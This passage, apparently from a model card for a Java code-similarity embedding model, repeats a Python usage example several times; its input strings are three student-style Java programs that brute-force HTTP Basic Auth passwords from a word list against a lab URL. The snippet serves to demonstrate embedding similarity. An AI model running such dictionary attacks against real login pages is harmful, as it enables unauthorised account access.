e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    